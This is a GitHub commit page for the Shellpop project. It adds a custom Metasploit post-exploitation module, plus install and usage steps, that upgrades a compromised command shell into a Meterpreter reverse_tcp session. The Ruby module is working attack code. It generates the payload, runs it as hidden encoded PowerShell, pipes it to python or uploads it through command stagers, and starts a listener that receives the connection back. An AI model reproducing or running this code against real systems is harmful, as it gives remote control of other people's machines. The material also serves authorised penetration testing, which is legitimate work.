Skip to content

Commit

Permalink
Adding custom metasploit module for upgrading shells with Shellpop
Browse files Browse the repository at this point in the history
  • Loading branch information
zc00l committed Jun 11, 2018
1 parent 79369a0 commit 12e4dd0
Show file tree
Hide file tree
Showing 3 changed files with 381 additions and 2 deletions.
4 changes: 2 additions & 2 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -15,7 +15,7 @@ Python 2.7 is required.

**Required Dependencies Install**
```bash
root@kali# apt-get install python-argcomplete -y
root@kali# apt-get install python-argcomplete metasploit-framework -y
```
```bash
root@kali# pip install -r requirements.txt
Expand All @@ -33,7 +33,7 @@ root@kali# python setup.py install
* [Basics](#basics)
* [Encoders](#encoders)
* [Handlers](#handlers)
* [Meterpreter Shells](#meterpreter-shells)
* [Meterpreter Shells](#meterpreter-shells-new)
* [Stagers](#stagers)
* [Protocols](#protocols)
* [Credits](#credits)
Expand Down
26 changes: 26 additions & 0 deletions extras/how-to-install-and-use.txt
Original file line number Diff line number Diff line change
@@ -0,0 +1,26 @@
# How to install Shellpop shell_to_meterpreter module into metasploit-framework
# Obviously, you will need to have metasploit framework 4 installed in the
system. If you are smart then you're using Kali already and dont need to worry
with that.

root@kali# mkdir -p ~/.msf4/modules/post/shellpop
root@kali# cp extras/shell_to_meterpreter ~/.msf4/modules/post/shellpop

# Now boot metasploit-framework (msfconsole) and you will find the module in

post/shellpop/shell_to_meterpreter

# With a command shell open, you can CTRL+Z (background) the shell and do
this procedure:

use post/shellpop/shell_to_meterpreter
set SESSION 1
set IS_POWERSHELL true # if it is a powershell shell
run
# This should upgrade your shell to meterpreter.

# FAQ:
# 1. Why dont you use default module shell_to_meterpreter?
# 1A: It has some trouble into detecting PowerShell in some Windows Machines.
I find that very annoying. So it was far more easier to just set a Boolean
variable to skip PowerShell detection and just use it.
353 changes: 353 additions & 0 deletions extras/shell_to_meterpreter.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,353 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core/exploit/powershell'
require 'msf/core/post/windows/powershell'

class MetasploitModule < Msf::Post
include Exploit::Powershell
include Post::Windows::Powershell

def initialize(info = {})
super(update_info(info,
'Name' => 'Shell to Meterpreter Upgrade',
'Description' => %q{
This module attempts to upgrade a command shell to meterpreter. The shell
platform is automatically detected and the best version of meterpreter for
the target is selected. Currently meterpreter/reverse_tcp is used on Windows
and Linux, with 'python/meterpreter/reverse_tcp' used on all others.
},
'License' => MSF_LICENSE,
'Author' => ['Tom Sellers <tom [at] fadedcode.net>'],
'Platform' => [ 'linux', 'osx', 'unix', 'solaris', 'bsd', 'windows' ],
'SessionTypes' => [ 'shell' ]
))
register_options(
[
OptAddressLocal.new('LHOST',
[false, 'IP of host that will receive the connection from the payload (Will try to auto detect).', nil]),
OptInt.new('LPORT',
[true, 'Port for payload to connect to.', 4433]),
OptBool.new('HANDLER',
[ true, 'Start an exploit/multi/handler to receive the connection', true])
])
register_advanced_options([
OptBool.new("IS_POWERSHELL",
[true, "Check this if it is a powershell shell", true]),
OptInt.new('HANDLE_TIMEOUT',
[true, 'How long to wait (in seconds) for the session to come back.', 30]),
OptEnum.new('WIN_TRANSFER',
[true, 'Which method to try first to transfer files on a Windows target.', 'POWERSHELL', ['POWERSHELL', 'VBS']]),
OptString.new('PAYLOAD_OVERRIDE',
[false, 'Define the payload to use (meterpreter/reverse_tcp by default) .', nil]),
OptString.new('BOURNE_PATH',
[false, 'Remote path to drop binary']),
OptString.new('BOURNE_FILE',
[false, 'Remote filename to use for dropped binary'])
])
deregister_options('PERSIST', 'PSH_OLD_METHOD', 'RUN_WOW64')
end

# Run method for when run command is issued
def run
print_status("Upgrading session ID: #{datastore['SESSION']}")

# Try hard to find a valid LHOST value in order to
# make running 'sessions -u' as robust as possible.
if datastore['LHOST']
lhost = datastore['LHOST']
elsif framework.datastore['LHOST']
lhost = framework.datastore['LHOST']
else
lhost = session.tunnel_local.split(':')[0]
if lhost == 'Local Pipe'
print_error 'LHOST is "Local Pipe", please manually set the correct IP.'
return
end
end

# If nothing else works...
lhost = Rex::Socket.source_address if lhost.blank?

lport = datastore['LPORT']

# Handle platform specific variables and settings
case session.platform
when 'windows'
platform = 'windows'
payload_name = 'windows/meterpreter/reverse_tcp'
lplat = [Msf::Platform::Windows]
larch = [ARCH_X86]
psh_arch = 'x86'
vprint_status("Platform: Windows")
when 'osx'
platform = 'osx'
payload_name = 'osx/x64/meterpreter/reverse_tcp'
lplat = [Msf::Platform::OSX]
larch = [ARCH_X64]
vprint_status("Platform: OS X")
when 'solaris'
platform = 'python'
payload_name = 'python/meterpreter/reverse_tcp'
vprint_status("Platform: Solaris")
else
# Find the best fit, be specific with uname to avoid matching hostname or something else
target_info = cmd_exec('uname -ms')
if target_info =~ /linux/i && target_info =~ /86/
# Handle linux shells that were identified as 'unix'
platform = 'linux'
payload_name = 'linux/x86/meterpreter/reverse_tcp'
lplat = [Msf::Platform::Linux]
larch = [ARCH_X86]
vprint_status("Platform: Linux")
elsif target_info =~ /darwin/i
platform = 'osx'
payload_name = 'osx/x64/meterpreter/reverse_tcp'
lplat = [Msf::Platform::OSX]
larch = [ARCH_X64]
vprint_status("Platform: OS X")
elsif cmd_exec('python -V 2>&1') =~ /Python (2|3)\.(\d)/
# Generic fallback for OSX, Solaris, Linux/ARM
platform = 'python'
payload_name = 'python/meterpreter/reverse_tcp'
vprint_status("Platform: Python [fallback]")
end
end
payload_name = datastore['PAYLOAD_OVERRIDE'] if datastore['PAYLOAD_OVERRIDE']
vprint_status("Upgrade payload: #{payload_name}")

if platform.blank?
print_error("Shells on the target platform, #{session.platform}, cannot be upgraded to Meterpreter at this time.")
return nil
end

payload_data = generate_payload(lhost, lport, payload_name)
if payload_data.blank?
print_error("Unable to build a suitable payload for #{session.platform} using payload #{payload_name}.")
return nil
end

if datastore['HANDLER']
listener_job_id = create_multihandler(lhost, lport, payload_name)
if listener_job_id.blank?
print_error("Failed to start exploit/multi/handler on #{datastore['LPORT']}, it may be in use by another process.")
return nil
end
end

case platform
when 'windows'
vprint_status("Session type: #{session.type}")
if session.type == 'powershell' or datastore["IS_POWERSHELL"] == true
vprint_status("Powershell flag has been set.")
template_path = Rex::Powershell::Templates::TEMPLATE_DIR
psh_payload = case datastore['Powershell::method']
when 'net'
Rex::Powershell::Payload.to_win32pe_psh_net(template_path, payload_data)
when 'reflection'
Rex::Powershell::Payload.to_win32pe_psh_reflection(template_path, payload_data)
when 'old'
Rex::Powershell::Payload.to_win32pe_psh(template_path, payload_data)
when 'msil'
fail RuntimeError, 'MSIL Powershell method no longer exists'
else
fail RuntimeError, 'No Powershell method specified'
end

# prepend_sleep => 1
psh_payload = 'Start-Sleep -s 1;' << psh_payload
encoded_psh_payload = encode_script(psh_payload)
cmd_exec(run_hidden_psh(encoded_psh_payload, psh_arch, true))
else # shell
if (have_powershell?) && (datastore['WIN_TRANSFER'] != 'VBS')
vprint_status("Transfer method: Powershell")
psh_opts = { :prepend_sleep => 1, :encode_inner_payload => true, :persist => false }
cmd_exec(cmd_psh_payload(payload_data, psh_arch, psh_opts))
else
print_error('Powershell is not installed on the target.') if datastore['WIN_TRANSFER'] == 'POWERSHELL'
vprint_status("Transfer method: VBS [fallback]")
exe = Msf::Util::EXE.to_executable(framework, larch, lplat, payload_data)
aborted = transmit_payload(exe, platform)
end
end
when 'python'
vprint_status("Transfer method: Python")
cmd_exec("echo \"#{payload_data}\" | python")
else
vprint_status("Transfer method: Bourne shell [fallback]")
exe = Msf::Util::EXE.to_executable(framework, larch, lplat, payload_data)
aborted = transmit_payload(exe, platform)
end

if datastore['HANDLER']
vprint_status("Cleaning up handler")
cleanup_handler(listener_job_id, aborted)
end
return nil
end

def transmit_payload(exe, platform)
#
# Generate the stager command array
#
linemax = 1700
if (session.exploit_datastore['LineMax'])
linemax = session.exploit_datastore['LineMax'].to_i
end
opts = {
:linemax => linemax,
#:nodelete => true # keep temp files (for debugging)
}
case platform
when 'windows'
opts[:decoder] = File.join(Rex::Exploitation::DATA_DIR, "exploits", "cmdstager", 'vbs_b64')
cmdstager = Rex::Exploitation::CmdStagerVBS.new(exe)
when 'osx'
opts[:background] = true
cmdstager = Rex::Exploitation::CmdStagerPrintf.new(exe)
else
opts[:background] = true
opts[:temp] = datastore['BOURNE_PATH']
opts[:file] = datastore['BOURNE_FILE']
cmdstager = Rex::Exploitation::CmdStagerBourne.new(exe)
end

cmds = cmdstager.generate(opts)
if cmds.nil? || cmds.length < 1
print_error('The command stager could not be generated.')
raise ArgumentError
end

#
# Calculate the total size
#
total_bytes = 0
cmds.each { |cmd| total_bytes += cmd.length }

vprint_status("Starting transfer...")
begin
#
# Run the commands one at a time
#
sent = 0
aborted = false
cmds.each { |cmd|
ret = cmd_exec(cmd)
if !ret
aborted = true
else
ret.strip!
aborted = true if !ret.empty? && ret !~ /The process tried to write to a nonexistent pipe./
end
if aborted
print_error('Error: Unable to execute the following command: ' + cmd.inspect)
print_error('Output: ' + ret.inspect) if ret && !ret.empty?
break
end

sent += cmd.length

progress(total_bytes, sent)
}
rescue ::Interrupt
# TODO: cleanup partial uploads!
aborted = true
rescue => e
print_error("Error: #{e}")
aborted = true
end

return aborted
end

def cleanup_handler(listener_job_id, aborted)
# Return if the job has already finished
return nil if framework.jobs[listener_job_id].nil?
framework.threads.spawn('ShellToMeterpreterUpgradeCleanup', false) {
if !aborted
timer = 0
vprint_status("Waiting up to #{HANDLE_TIMEOUT} seconds for the session to come back")
while !framework.jobs[listener_job_id].nil? && timer < HANDLE_TIMEOUT
sleep(1)
timer += 1
end
end
print_status('Stopping exploit/multi/handler')
framework.jobs.stop_job(listener_job_id)
}
end

#
# Show the progress of the upload
#
def progress(total, sent)
done = (sent.to_f / total.to_f) * 100
print_status("Command stager progress: %3.2f%% (%d/%d bytes)" % [done.to_f, sent, total])
end

# Method for checking if a listener for a given IP and port is present
# will return true if a conflict exists and false if none is found
def check_for_listener(lhost, lport)
client.framework.jobs.each do |k, j|
if j.name =~ / multi\/handler/
current_id = j.jid
current_lhost = j.ctx[0].datastore['LHOST']
current_lport = j.ctx[0].datastore['LPORT']
if lhost == current_lhost && lport == current_lport.to_i
print_error("Job #{current_id} is listening on IP #{current_lhost} and port #{current_lport}")
return true
end
end
end
return false
end

# Starts a exploit/multi/handler session
def create_multihandler(lhost, lport, payload_name)
pay = client.framework.payloads.create(payload_name)
pay.datastore['LHOST'] = lhost
pay.datastore['LPORT'] = lport
print_status('Starting exploit/multi/handler')
if !check_for_listener(lhost, lport)
# Set options for module
mh = client.framework.exploits.create('multi/handler')
mh.share_datastore(pay.datastore)
mh.datastore['WORKSPACE'] = client.workspace
mh.datastore['PAYLOAD'] = payload_name
mh.datastore['EXITFUNC'] = 'thread'
mh.datastore['ExitOnSession'] = true
# Validate module options
mh.options.validate(mh.datastore)
# Execute showing output
mh.exploit_simple(
'Payload' => mh.datastore['PAYLOAD'],
'LocalInput' => self.user_input,
'LocalOutput' => self.user_output,
'RunAsJob' => true
)

# Check to make sure that the handler is actually valid
# If another process has the port open, then the handler will fail
# but it takes a few seconds to do so. The module needs to give
# the handler time to fail or the resulting connections from the
# target could end up on on a different handler with the wrong payload
# or dropped entirely.
select(nil, nil, nil, 5)
return nil if framework.jobs[mh.job_id.to_s].nil?

return mh.job_id.to_s
else
print_error('A job is listening on the same local port')
return nil
end
end

def generate_payload(lhost, lport, payload_name)
payload = framework.payloads.create(payload_name)
options = "LHOST=#{lhost} LPORT=#{lport}"
buf = payload.generate_simple('OptionStr' => options)
buf
end
end

0 comments on commit 12e4dd0

Please sign in to comment.